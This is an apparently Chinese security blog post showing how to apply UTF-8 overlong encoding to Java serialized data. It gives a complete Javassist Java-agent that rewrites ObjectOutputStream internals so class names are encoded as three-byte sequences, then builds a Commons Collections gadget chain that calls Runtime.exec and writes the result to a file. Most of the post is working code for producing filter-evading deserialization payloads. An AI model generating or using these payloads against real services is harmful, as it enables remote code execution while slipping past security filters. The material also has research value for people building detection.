参考文章:
https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
https://exp10it.io/2024/02/hessian-utf-8-overlong-encoding/
在java反序列化中,readUTF函数存在对三个字节进行转换成字符串
我们可以将敏感字节,从一个字节转换成三个字节,原理可以参考UTF-8 Overlong Encoding导致的安全问题
在我看java反序列化的过程中,
我们可以通过hook掉ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)函数和writeUTFBody函数实现UTF-8 Overlong Encoding。
分析:
正常序列化流程,调用到ObjectOutputStream$BlockDataOutputStream的writeUTF#writeUTF(String s)时候,会向当前类的也就是上面所需要hook的
ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)
传入类名和字段长度
当长度和类名长度不等的时候,会走入writeUTFBody中,进行处理
当传入的s的每个字符大于0x007f时候并且小于0x07ff,会进行两个字节的编码
每个字符大于0x007f时候并且大于0x07ff时候,会进行三个字节的编码
每个字符小于0x007f时候,就正常输出
实现
所以我们通过hook函数的实现也就清晰了
通过javassist获取ObjectOutputStream$BlockDataOutputStream#writeUTF(String s, long utflen)
直接修改为utflen长度为字节的长度,然后直接走入writeUTFBody中
1 2 3 4 5 6 7 8 9
| CtClass ctClass = classPool.get("java.io.ObjectOutputStream$BlockDataOutputStream"); classPool.importPackage(IOException.class.getName()); CtMethod writeUTF = ctClass.getMethod("writeUTF","(Ljava/lang/String;J)V"); ctClass.removeMethod(writeUTF); CtMethod make1 = CtNewMethod.make("void writeUTF(String s, long utflen) throws IOException {\n" + " writeShort((int) utflen*3);\n" + " writeUTFBody(s);\n" + " }", ctClass); ctClass.addMethod(make1);
|
但是这样还不够,我们传入的s是默认是小于0x7f的,所以我们再次修改BlockDataOutputStream#writeUTFBody(String s)
使得if判断失效,上面这个三个字节没有注释,其他注释掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| CtMethod method = ctClass.getDeclaredMethod("writeUTFBody"); ctClass.removeMethod(method); CtMethod make = CtNewMethod.make(" private void writeUTFBody(String s) throws IOException {\n" + " int limit = MAX_BLOCK_SIZE - 3;\n" + " int len = s.length();\n" + " for (int off = 0; off < len; ) {\n" + " int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" + " s.getChars(off, off + csize, cbuf, 0);\n" + " for (int cpos = 0; cpos < csize; cpos++) {\n" + " char c = cbuf[cpos];\n" + " if (pos <= limit) {\n" + "// if (c <= 0x007F && c != 0) {\n" + "// buf[pos++] = (byte) c;\n" + "// } else if (c > 0x07FF) {\n" + " buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + " buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" + " buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" + " pos += 3;\n" + "// } else {\n" + "// buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + "// buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" + "// pos += 2;\n" + "// }\n" + " } else { // write one byte at a time to normalize block\n" + " if (c <= 0x007F && c != 0) {\n" + " write(c);\n" + " } else if (c > 0x07FF) {\n" + " write(0xE0 | ((c >> 12) & 0x0F));\n" + " write(0x80 | ((c >> 6) & 0x3F));\n" + " write(0x80 | ((c >> 0) & 0x3F));\n" + " } else {\n" + " write(0xC0 | ((c >> 6) & 0x1F));\n" + " write(0x80 | ((c >> 0) & 0x3F));\n" + " }\n" + " }\n" + " }\n" + " off += csize;\n" + " }\n" + " }\n" + "}", ctClass); ctClass.addMethod(make);
|
我们写入到javaagent去使用
1 2 3 4 5 6 7 8 9 10
| package com.n1ght; import java.lang.instrument.Instrumentation; import java.lang.reflect.AccessibleObject; public class Agent { public static void premain(String agentArgs, Instrumentation inst) throws Exception {
inst.addTransformer(new NightTransformer(), true); inst.retransformClasses(new Class[] { AccessibleObject.class }); } }
|
在插桩
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| package com.n1ght; import javassist.*; import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain; import java.util.Arrays; public class NightTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if(className.equals("java/io/ObjectOutputStream$BlockDataOutputStream")){ System.out.println("true2"); ClassPool classPool = ClassPool.getDefault(); try { CtClass ctClass = classPool.get("java.io.ObjectOutputStream$BlockDataOutputStream"); classPool.importPackage(IOException.class.getName()); CtMethod writeUTF = ctClass.getMethod("writeUTF","(Ljava/lang/String;J)V"); ctClass.removeMethod(writeUTF); CtMethod make1 = CtNewMethod.make("void writeUTF(String s, long utflen) throws IOException {\n" + " writeShort((int) utflen*3);\n" + " writeUTFBody(s);\n" + " }", ctClass); ctClass.addMethod(make1); CtMethod method = ctClass.getDeclaredMethod("writeUTFBody"); ctClass.removeMethod(method); CtMethod make = CtNewMethod.make(" private void writeUTFBody(String s) throws IOException {\n" + " int limit = MAX_BLOCK_SIZE - 3;\n" + " int len = s.length();\n" + " for (int off = 0; off < len; ) {\n" + " int csize = Math.min(len - off, CHAR_BUF_SIZE);\n" + " s.getChars(off, off + csize, cbuf, 0);\n" + " for (int cpos = 0; cpos < csize; cpos++) {\n" + " char c = cbuf[cpos];\n" + " if (pos <= limit) {\n" + "// if (c <= 0x007F && c != 0) {\n" + "// buf[pos++] = (byte) c;\n" + "// } else if (c > 0x07FF) {\n" + " buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + " buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));\n" + " buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));\n" + " pos += 3;\n" + "// } else {\n" + "// buf[pos + 1] = (byte) (0x80 | ((c >> 0) & 0x3F));\n" + "// buf[pos + 0] = (byte) (0xC0 | ((c >> 6) & 0x1F));\n" + "// pos += 2;\n" + "// }\n" + " } else { // write one byte at a time to normalize block\n" + " if (c <= 0x007F && c != 0) {\n" + " write(c);\n" + " } else if (c > 0x07FF) {\n" + " write(0xE0 | ((c >> 12) & 0x0F));\n" + " write(0x80 | ((c >> 6) & 0x3F));\n" + " write(0x80 | ((c >> 0) & 0x3F));\n" + " } else {\n" + " write(0xC0 | ((c >> 6) & 0x1F));\n" + " write(0x80 | ((c >> 0) & 0x3F));\n" + " }\n" + " }\n" + " }\n" + " off += csize;\n" + " }\n" + " }\n" + "}", ctClass); ctClass.addMethod(make); ctClass.detach(); return ctClass.toBytecode(); } catch (Exception e) { System.out.println(e); throw new RuntimeException(e); } } return classfileBuffer; } }
|
MANIFEST.MF
设置为
1 2 3 4 5 6 7 8
| Manifest-Version: 1.0 Archiver-Version: Plexus Archiver Created-By: Apache Maven Can-Redefine-Classes: true Can-Retransform-Classes: true Premain-Class: com.n1ght.Agent Project-name: com.n1ght.AgentMain Project-version: 1.0-SNAPSHOT
|
打包成javassist-3.30.2-GA.jar
在idea运行中使用
alt+v添加-javaagent:jar路径
这里使用一个cc链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; public class Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}) }; Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); HashMap<Object,Object> hashMap1 = new HashMap<>(); HashMap<Object,Object> hashMap2 = new HashMap<>(); LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer); LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer); lazyMap1.put("yy",1); lazyMap2.put("zZ",1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1,1); hashtable.put(lazyMap2,1); Class c = ChainedTransformer.class; Field field = c.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers); lazyMap2.remove("yy"); FileOutputStream fileOutputStream = new FileOutputStream("ser.bin"); new ObjectOutputStream(fileOutputStream).writeObject(hashtable); } }
|
点击运行,得到utf-8 overlong encoding的序列化数据
对比没有任何处理的数据
并且能正常反序列化成功